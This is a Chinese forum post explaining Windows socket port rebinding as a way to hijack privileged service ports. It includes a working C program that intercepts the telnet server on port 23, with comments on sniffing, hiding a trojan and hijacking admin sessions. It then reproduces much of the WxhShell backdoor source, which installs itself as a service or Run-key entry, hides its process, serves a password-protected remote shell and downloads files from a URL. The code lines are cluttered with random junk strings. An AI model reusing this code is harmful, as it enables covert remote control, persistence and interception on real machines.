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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HEA eo!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ) uP\>vRy  
p4VSm a_(  
  saddr.sin_family = AF_INET; d77r9  
Mp\<cE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %~*jae!f  
mCKk*5ws5"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #~qAHJ<  
jw6Tj;c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <@bA?FY  
AY_Q""v  
  这意味着什么?意味着可以进行如下的攻击: *Dr5O9Y  
em2_pq9q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *Zd84wRSj  
V:bV ?lt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /&ygiH{^  
0'$p$K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b4,jN~ci  
ZI ?W5ISdg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  klWYuStZ  
3]E(mRX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +~2rW8  
nv5u%B^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (*l2('e#@  
N b3$4(F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 aw}+'(?8]  
; 7G_f  
  #include lWy=)^)4  
  #include M:ai<TZ]  
  #include 9EF~l9`'U  
  #include    :\V,k~asl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   't>r sp+#  
  int main() I^Qx/uTKw  
  { 2f:Mm'XdB  
  WORD wVersionRequested; |#5 e|z5(  
  DWORD ret; c 8'Cq7  
  WSADATA wsaData; ,J9}.}Hd  
  BOOL val; M/jb}*xDR  
  SOCKADDR_IN saddr; E;-qP)yU  
  SOCKADDR_IN scaddr; ,9/5T:2  
  int err; }_46y*o8  
  SOCKET s; @sf 90&f  
  SOCKET sc; /B HepD}  
  int caddsize; kC^.4n om  
  HANDLE mt; "xwM+AC  
  DWORD tid;   ~y\:iL//E  
  wVersionRequested = MAKEWORD( 2, 2 ); 4'At.<]jL  
  err = WSAStartup( wVersionRequested, &wsaData ); {},;-%xE  
  if ( err != 0 ) { NoW!xLI  
  printf("error!WSAStartup failed!\n"); 2Ug.:![  
  return -1; ?ei%RWo  
  } F ! )-|n}  
  saddr.sin_family = AF_INET; jE U'.RBN%  
   Hql5oA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \C\gn]Z  
WV_`1hZX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /(%Ig,<"JC  
  saddr.sin_port = htons(23); x1DVD!0~{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >rRf9wO1l  
  { 1~qm+nET\  
  printf("error!socket failed!\n"); ^HFo3V }h  
  return -1;  1KJZWZy  
  } Dt {')  
  val = TRUE; IvSn>o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ze"~Ird  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y\_wWE  
  { =K6c;  
  printf("error!setsockopt failed!\n"); p+D=}O  
  return -1; !1-&Y'+  
  } Qk7J[4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W8.j /K:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B "n`|;r5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *SGlqR['\e  
;vUxO<cKFq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >r:X~XnRUj  
  { 5byeWH0n3  
  ret=GetLastError(); 4Bo<4 4-,  
  printf("error!bind failed!\n"); z.59]\;U>  
  return -1; FAd``9kRT  
  } 4@~a<P#  
  listen(s,2); %LcH>sV  
  while(1) KZ4zF  
  { /yt7#!tm+  
  caddsize = sizeof(scaddr); B$DZ]/<  
  //接受连接请求 \CtQ*[FmN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %ph"PR/t?  
  if(sc!=INVALID_SOCKET) NY 4C@@"  
  { YME[%c2x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :Fo4O'UC  
  if(mt==NULL) 4[(? L{  
  { mLULd}g/o  
  printf("Thread Creat Failed!\n"); l<n5gfJ  
  break; 1(# RN9   
  } . o"<N  
  } p70,\&@3  
  CloseHandle(mt); 5R"2Wd  
  } a.CF9m5]c  
  closesocket(s); *78)2)=~  
  WSACleanup(); :F9q>  
  return 0; dWjx"7^  
  }   \"J?@  
  DWORD WINAPI ClientThread(LPVOID lpParam) kLq( !Gs  
  { |""=)-5N  
  SOCKET ss = (SOCKET)lpParam; KZW'O b>[  
  SOCKET sc; psu OJ-  
  unsigned char buf[4096]; "'~|}x1Uv  
  SOCKADDR_IN saddr; 8Kk3_ y  
  long num; `i9N )3 X  
  DWORD val; ;Na^]32  
  DWORD ret; /=q.tDH=I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [u7 vY@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U @)k3^  
  saddr.sin_family = AF_INET; jp% +n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8s~\iuk  
  saddr.sin_port = htons(23); y&y/cML?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T0YDfo  
  { "bPCOJ[v9  
  printf("error!socket failed!\n"); !e&rVoA  
  return -1; ):^ '/e  
  } Oy:QkV9  
  val = 100; luibB&p1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r?>Vx -  
  { RZW$!tyI=  
  ret = GetLastError(); TN J<!6  
  return -1; B>sCP"/uV  
  } q Frt^+@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xC[~Fyhp  
  { H_Iim[v#  
  ret = GetLastError(); I/Sv"X6E  
  return -1; R!@|6=]iG  
  } r}ZLf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kJI3`gS+  
  { UOw~rK   
  printf("error!socket connect failed!\n"); h (qshbC}  
  closesocket(sc); #fwzFS \XL  
  closesocket(ss); C%0<1 mp  
  return -1; XO0>t{G  
  } {%=S+89l  
  while(1) nDyvX1]  
  { yQ8M >H#J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "|F. 'qZrm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 EbG_43SV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &}>|5>cJu  
  num = recv(ss,buf,4096,0); anK[P'Y  
  if(num>0) cT_uJbP+  
  send(sc,buf,num,0); 3aEt>x  
  else if(num==0) hN& yc  
  break; Dp3&@M"^yY  
  num = recv(sc,buf,4096,0); 9~/k25P  
  if(num>0) G>& Tap>  
  send(ss,buf,num,0); *](maF~%C  
  else if(num==0) '[Ap/:/UY  
  break; x1VBO.t=*  
  } P/6$ T2k_  
  closesocket(ss); *-'u(o  
  closesocket(sc); !W4A 9Th  
  return 0 ; VRV*\*~$  
  } A/ZZ[B-  
`K5Lp>=R  
a~ sU  
========================================================== iI\ bD  
pBl'SQccp  
下边附上一个代码,,WXhSHELL ]/g&y5RG  
wFI2 (cQ  
========================================================== }tJR Bb  
n,/eT,48`  
#include "stdafx.h" }-jS0{i  
Xo[j*<=0  
#include <stdio.h> Mm7;'Zbg  
#include <string.h> . 7*k}@k  
#include <windows.h> q$RJ3{Sf  
#include <winsock2.h> 6Y9FU  
#include <winsvc.h> ,\8F27  
#include <urlmon.h> gCfAy=-,V  
m.!n|_}]  
#pragma comment (lib, "Ws2_32.lib") mUSrCU_}  
#pragma comment (lib, "urlmon.lib") !8YZ;l  
k@:M#?(F  
#define MAX_USER   100 // 最大客户端连接数 Bu_/yKW  
#define BUF_SOCK   200 // sock buffer y.vYT{^  
#define KEY_BUFF   255 // 输入 buffer M~/7thP{  
R<(kiD\?]  
#define REBOOT     0   // 重启 {;mT.[  
#define SHUTDOWN   1   // 关机 t7#lRp&  
R. :~e  
#define DEF_PORT   5000 // 监听端口 $.HZz  
,'!x 9 `  
#define REG_LEN     16   // 注册表键长度 9lXjB_wG>  
#define SVC_LEN     80   // NT服务名长度 } V  *  
'^mCLfo0}  
// 从dll定义API 9|BH/&$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d ?Uj3G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $mgamWNE8w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5\!t!FL_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [l# 8}dy  
n92*:Y  
// wxhshell配置信息 v\lhbpk  
struct WSCFG { .h c-uaL  
  int ws_port;         // 监听端口 zP554Gr?  
  char ws_passstr[REG_LEN]; // 口令 oW ! Z= ;  
  int ws_autoins;       // 安装标记, 1=yes 0=no f wE b  
  char ws_regname[REG_LEN]; // 注册表键名 9d kuvk}:  
  char ws_svcname[REG_LEN]; // 服务名 <e&88{jJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ''D\E6c\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vtx3a^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AUk-[i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \iL{q^Im  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" py|ORVN(Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z3Id8G&>  
=#=<%HPT  
}; y-#{v.|L  
k]>1@t  
// default Wxhshell configuration v;6O# ta'  
struct WSCFG wscfg={DEF_PORT, x)}.@\&%  
    "xuhuanlingzhe", h95a61a,Vy  
    1, <b.O^_zQF  
    "Wxhshell", E^s<5BC;  
    "Wxhshell", o,NTI h  
            "WxhShell Service", , B90r7K:  
    "Wrsky Windows CmdShell Service", kz!CxI (  
    "Please Input Your Password: ", 9Gh:s6  
  1, +4 W6{`  
  "http://www.wrsky.com/wxhshell.exe", 2 .p?gRO  
  "Wxhshell.exe" jK(]e iR$S  
    }; pZxuV(QP`  
~SzHIVj:6  
// 消息定义模块 Nh^ lC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q$bi:EyJXc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]nIH0k3y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;9&#Sb/  
char *msg_ws_ext="\n\rExit."; ;6)Onwx  
char *msg_ws_end="\n\rQuit."; 2#jBh   
char *msg_ws_boot="\n\rReboot..."; MA`.&MA.  
char *msg_ws_poff="\n\rShutdown..."; B+VD53 V  
char *msg_ws_down="\n\rSave to "; 3a Y^6&  
L$zB^lSM  
char *msg_ws_err="\n\rErr!"; 1XppC[))  
char *msg_ws_ok="\n\rOK!"; uD=FTx  
pLiGky  
char ExeFile[MAX_PATH]; w. c]   
int nUser = 0; 9 $&$Fe  
HANDLE handles[MAX_USER]; dy' J~Eo7  
int OsIsNt; "/k TEp  
dje}C bZ  
SERVICE_STATUS       serviceStatus; a(#aEbN?d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x{_3/4  
}!_ofe  
// 函数声明 lKSd]:3Xm  
int Install(void); }K.2  
int Uninstall(void); N|-'Fu  
int DownloadFile(char *sURL, SOCKET wsh); Vh}F#~BrI  
int Boot(int flag); *Dhy a g  
void HideProc(void); Hx?OCGj=S*  
int GetOsVer(void); "i^< H  
int Wxhshell(SOCKET wsl); Q!R eA{  
void TalkWithClient(void *cs); Oz1S*<]=,~  
int CmdShell(SOCKET sock); oYmLJzCf  
int StartFromService(void); %~rXJrK  
int StartWxhshell(LPSTR lpCmdLine); *=b36M   
ZnNl3MKV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0`Hr(J`F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8`B]UcL)  
lL;SP&  
// 数据结构和表定义 mx=2lL`  
SERVICE_TABLE_ENTRY DispatchTable[] = w!--K9  
{ }!9KxwC(  
{wscfg.ws_svcname, NTServiceMain}, [X^Oxs  
{NULL, NULL} Bm$(4  
}; n\w2e_g;N  
lN~V1(1B  
// 自我安装 U-ADdO h"q  
int Install(void) J^gElp  
{ U'p-Ko#  
  char svExeFile[MAX_PATH]; UlQS]f~  
  HKEY key; GyQ9we~  
  strcpy(svExeFile,ExeFile); ]AB'POa  
',bSJ4)Y  
// 如果是win9x系统,修改注册表设为自启动 13aj fH  
if(!OsIsNt) { T=,A pa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kK~,? l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2>*b.$g  
  RegCloseKey(key); q+{$"s9v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T*{nf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g>pvcf(  
  RegCloseKey(key); L+D9ZE]  
  return 0; 4GqwY"ja  
    } kHbH{])  
  } `'G1"CX  
} N%Uk/ c'  
else { .K`EflN  
lPZYd 8  
// 如果是NT以上系统,安装为系统服务 uD4j.%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -*[:3%  
if (schSCManager!=0) i_f\dkol  
{ czg9tG8  
  SC_HANDLE schService = CreateService qV5l v-p  
  ( ?np3*;lw  
  schSCManager, ybU_x  
  wscfg.ws_svcname, N4)ZPLV  
  wscfg.ws_svcdisp, *2>kic aH  
  SERVICE_ALL_ACCESS, Xv<K>i>k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p(6KJK\  
  SERVICE_AUTO_START, v3b+Ddp  
  SERVICE_ERROR_NORMAL, bbs'>D3  
  svExeFile, Ctx`b[&KXX  
  NULL, xG WA5[YV  
  NULL, )F_nK f"a  
  NULL, ):lH   
  NULL, *f o>  
  NULL 3IG<Ot9  
  ); u{&#Gci  
  if (schService!=0) B!1h"K5.($  
  { Ay0.D FL  
  CloseServiceHandle(schService); Mp?L9  
  CloseServiceHandle(schSCManager); B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); weH3\@  
  strcat(svExeFile,wscfg.ws_svcname); ] @:x<>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L;-V Yo#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *Wf Qi8  
  RegCloseKey(key); 89x;~D1  
  return 0; \Oxyc}&  
    } |:]} u|O  
  } =O3)tm;  
  CloseServiceHandle(schSCManager); :%>)S  
} /2'l=R5#  
} Lp) P7Yt-  
_:]g:F[ #  
return 1; 14DhJUV"b  
} x~Dj2 F]  
G#fF("Ndu`  
// 自我卸载 !/e*v>3u&  
int Uninstall(void) d ehK#8  
{ J7Mbv2D  
  HKEY key; us E%eF]  
5z&>NI  
if(!OsIsNt) { >a&IFi,j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d( yTz&u)  
  RegDeleteValue(key,wscfg.ws_regname); U;j\FE^+>  
  RegCloseKey(key); !;;7:!)P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R.cR:fA  
  RegDeleteValue(key,wscfg.ws_regname); )<lQJ#L86a  
  RegCloseKey(key); pp{ 2[>  
  return 0; ;W]9DBAB  
  } [+_>g4M~%  
} ,q;?zcC7  
} pD('6C;  
else { Nz}PcWF/  
FA+"t^q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fm L8n<1  
if (schSCManager!=0) 0*_E'0L8e  
{ kD0bdE|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qtmKX  
  if (schService!=0) dyk(/# *7W  
  { }'*6 A  
  if(DeleteService(schService)!=0) { l))Q/8H  
  CloseServiceHandle(schService); !*f$*,=^  
  CloseServiceHandle(schSCManager); QYi4A "$`  
  return 0; |#sOa  
  } ?(n v_O  
  CloseServiceHandle(schService); T2 S fBs  
  } 4Us_Z{.  
  CloseServiceHandle(schSCManager); qXhdU/ =  
} P8Wv&5A  
} Vn_~ |-Wt  
4v`IAR?&K;  
return 1; #f< v%  
} x H&hs$=  
*\(z"B  
// 从指定url下载文件 !?v_.  
int DownloadFile(char *sURL, SOCKET wsh) Nke!!A}\|  
{ :PtZKt;~X  
  HRESULT hr; X^Z!!KTH  
char seps[]= "/"; 7}g4ePYag  
char *token; y$_@C8?H  
char *file; JXM]tV  
char myURL[MAX_PATH]; /isalOT  
char myFILE[MAX_PATH]; Fs].Fa  
u*TC8!n  
strcpy(myURL,sURL); !?(7g2NP)  
  token=strtok(myURL,seps); }f]Y^>-Ux  
  while(token!=NULL) wD=]U@t`,  
  { pF4Z4?W  
    file=token; 7/ ?QZN  
  token=strtok(NULL,seps); |1RVm?~i  
  } t* =[RS*  
,/D}a3JD  
GetCurrentDirectory(MAX_PATH,myFILE); ;4[[T%&v  
strcat(myFILE, "\\"); 'gvR?[!t  
strcat(myFILE, file); Zym6btc  
  send(wsh,myFILE,strlen(myFILE),0); nuXL{tg6  
send(wsh,"...",3,0); -cM1]soT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b7Jxv7$e  
  if(hr==S_OK) Jsysk $R  
return 0; 0Gc@AG{  
else l2qvYNMw  
return 1; EU%,tp   
\xj;{xc  
} L%T(H<G  
{]< G=]'  
// 系统电源模块 80Dn!9j*  
int Boot(int flag) MQQm3VaKS  
{ l6ym <V(1p  
  HANDLE hToken; y %Q. (  
  TOKEN_PRIVILEGES tkp; =/!lK&  
Gv_~@MN  
  if(OsIsNt) { V0=%$tH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <qwf"Ey  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e@Lxduq  
    tkp.PrivilegeCount = 1; x9vSekV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AJbCC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /ce;-3+  
if(flag==REBOOT) { 6O As%QZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _x!id f  
  return 0; "`$,qvNN  
} _&uJE&xl}  
else {  bDkZU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L"qJZU  
  return 0; tWIs |n  
} :&IHdf0+  
  } Vx h39eW  
  else { QB*,+u4  
if(flag==REBOOT) { jk9f{Iu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %S`& R5  
  return 0; -&Z!b!jN  
} eDJnzh83  
else { %MeAa?G-#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #ibwD:{  
  return 0; m+<&NDj.  
} <]qNjsdb9"  
} ^M'(/O1  
;W,* B.~  
return 1; ?veeW6E(  
} (?jK|_  
cx\E40WD  
// win9x进程隐藏模块 A2|Bbqd  
void HideProc(void) jHFjd'  
{ :_8K8Sa  
}r: "X<`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \@gV$+{9  
  if ( hKernel != NULL ) v$y\X3)mB  
  { a*P v^Np-v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p<mL%3s0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4uXGp sL  
    FreeLibrary(hKernel); h`&TDB2  
  } h4hAzFQ.s  
Bhv;l/K])  
return; JtFq/&{i  
} o?baiOkH  
e>MtDJ5  
// 获取操作系统版本 ynsYU(  
int GetOsVer(void) )s!A\a`vEd  
{ /!]K+6>u  
  OSVERSIONINFO winfo; K *@?BE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F5*-HR  
  GetVersionEx(&winfo); +~5Lo'^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PaTOlHr  
  return 1; {"p ~M7  
  else x6/u+Urn  
  return 0; ? NoNg^Of  
} Ku[q #_7  
GgpE"M?  
// 客户端句柄模块 MT{1/A;`)  
int Wxhshell(SOCKET wsl) D <iG*I  
{ C. .|O  
  SOCKET wsh; -RP{viG WK  
  struct sockaddr_in client; Xe4   
  DWORD myID; T!x/^  
@1j*\gYz  
  while(nUser<MAX_USER) rCo}^M4Pb  
{ 7{r7  
  int nSize=sizeof(client); 6nA9r5Ghv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g0 Q,]\~  
  if(wsh==INVALID_SOCKET) return 1; (6fD5XtS  
 nS]e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $?ss5: S  
if(handles[nUser]==0) M&iXdw&  
  closesocket(wsh); %RW*gUvc]  
else @.L#u#   
  nUser++; >:.c?{%g*  
  } +=W(c8~P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4l0>['K&{  
1 Ne;U/  
  return 0; U/Cc!WXV]  
} 2H;#L`Z*  
U2`:'  
// 关闭 socket b0 }dy\dnQ  
void CloseIt(SOCKET wsh) RSAGSGp  
{ $\m:}\%p  
closesocket(wsh); K7s[Fa6J  
nUser--; p63fpnH  
ExitThread(0); eJf]"-  
} fx>QP?Z  
dOaOWMrfdf  
// 客户端请求句柄 zSA"f_e  
void TalkWithClient(void *cs) kh}h(z^  
{ xsU%?"r  
LmY[{.'tX  
  SOCKET wsh=(SOCKET)cs; |Fx *,91  
  char pwd[SVC_LEN]; d v4~CW%Td  
  char cmd[KEY_BUFF]; }x|q*E\  
char chr[1]; O\!'Ds+gX  
int i,j; T: My3&6  
%4R1rUrgt|  
  while (nUser < MAX_USER) { +b_[JP2  
bR}fj.gP  
if(wscfg.ws_passstr) { Z6b]EcP)#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h143HXBi1+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]*MVC/R,  
  //ZeroMemory(pwd,KEY_BUFF); pq_U?_5Z'r  
      i=0; P@bPdw!JA  
  while(i<SVC_LEN) { 9 7HI9R  
ld"rL6  
  // 设置超时 J3'q.Pc  
  fd_set FdRead; |7KWa(V5I  
  struct timeval TimeOut; HS*Y%*  
  FD_ZERO(&FdRead); @8w[Zo~  
  FD_SET(wsh,&FdRead); :W>PKW`^  
  TimeOut.tv_sec=8; K8&) kfyI  
  TimeOut.tv_usec=0; iW2\;}y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \HrtPm`e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); : &nF>  
VcsM Da  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s;l"'6:_  
  pwd=chr[0]; HNc/p4z  
  if(chr[0]==0xd || chr[0]==0xa) { BK)<~I  
  pwd=0; Xe:rPxZf~  
  break; J8@.qC'!  
  } `gC J[  
  i++; '.N}oL<gP  
    } T12Zak4.=  
y8C8~-&OK  
  // 如果是非法用户,关闭 socket <_k A+&T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $e4N4e2x/  
} hi(e%da  
O8>&J-+2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K;Hgq4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); - q(a~Ge  
=z"8#_3A  
while(1) { gm-9 oA X  
=_ j<x$,b-  
  ZeroMemory(cmd,KEY_BUFF); S[hyN7sI  
(GGosXU-v  
      // 自动支持客户端 telnet标准   BHU$QX  
  j=0; br TP}A  
  while(j<KEY_BUFF) { o%`=+- K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &w`DF,k|  
  cmd[j]=chr[0]; V?0IMc  
  if(chr[0]==0xa || chr[0]==0xd) { 0WKS  
  cmd[j]=0; lIx./Nf  
  break; Z]tQmV8e  
  } G9am}qr  
  j++; ,~1sZ`C  
    } =-r); d  
j_h:_D4  
  // 下载文件 $%M]2_W(  
  if(strstr(cmd,"http://")) { C4gES"T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  f}*:wj  
  if(DownloadFile(cmd,wsh)) Nmt~1.J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '3sySsD&O  
  else /J!:_Nq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @OFxnF`  
  } Ya!%o> J%t  
  else { x H=15JY1W  
Q(q&(/  
    switch(cmd[0]) { F&7|`o3  
  "lt5gu!`u  
  // 帮助 lsOfpJ  
  case '?': { L@zhbWY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ITn PF{N  
    break; L1DH9wiQi  
  } `]@=Hx(  
  // 安装 hOj+z?  
  case 'i': { 5F ^VvzNn  
    if(Install()) nP*%N|0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I_->vC|>  
    else \weg%a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8 Zp^/43  
    break; y@LiUe5  
    } &(32s!qH  
  // 卸载 idX''%"  
  case 'r': { ) < U9  
    if(Uninstall()) *W^ZXhrZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K5XW&|tY!  
    else #RU8 yT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qe ip h  
    break; 02*qf:kTnA  
    } Qs59IZ  
  // 显示 wxhshell 所在路径 rvd%z7Z1o  
  case 'p': { DU]KD%kl  
    char svExeFile[MAX_PATH]; 4G&dBH  
    strcpy(svExeFile,"\n\r"); S >CKm:7  
      strcat(svExeFile,ExeFile); '/@wk#,  
        send(wsh,svExeFile,strlen(svExeFile),0); Bi :!"Nw[X  
    break; ^IIy>  
    } IVxZ.5:L$  
  // 重启 hEsi AbTyF  
  case 'b': { dpNERc5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m}=E$zPbO  
    if(Boot(REBOOT)) aVc{ aP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y;8&J{dd  
    else { +s"6[\H1d  
    closesocket(wsh); /9I/^i~  
    ExitThread(0); \y=oZk4  
    } p`c_5!H  
    break; &s(&B>M  
    } V8TdtGB.|h  
  // 关机 1nskf*Z  
  case 'd': {  sTlel&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E8}evi  
    if(Boot(SHUTDOWN)) JDE_*xaUV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~qGW9 4  
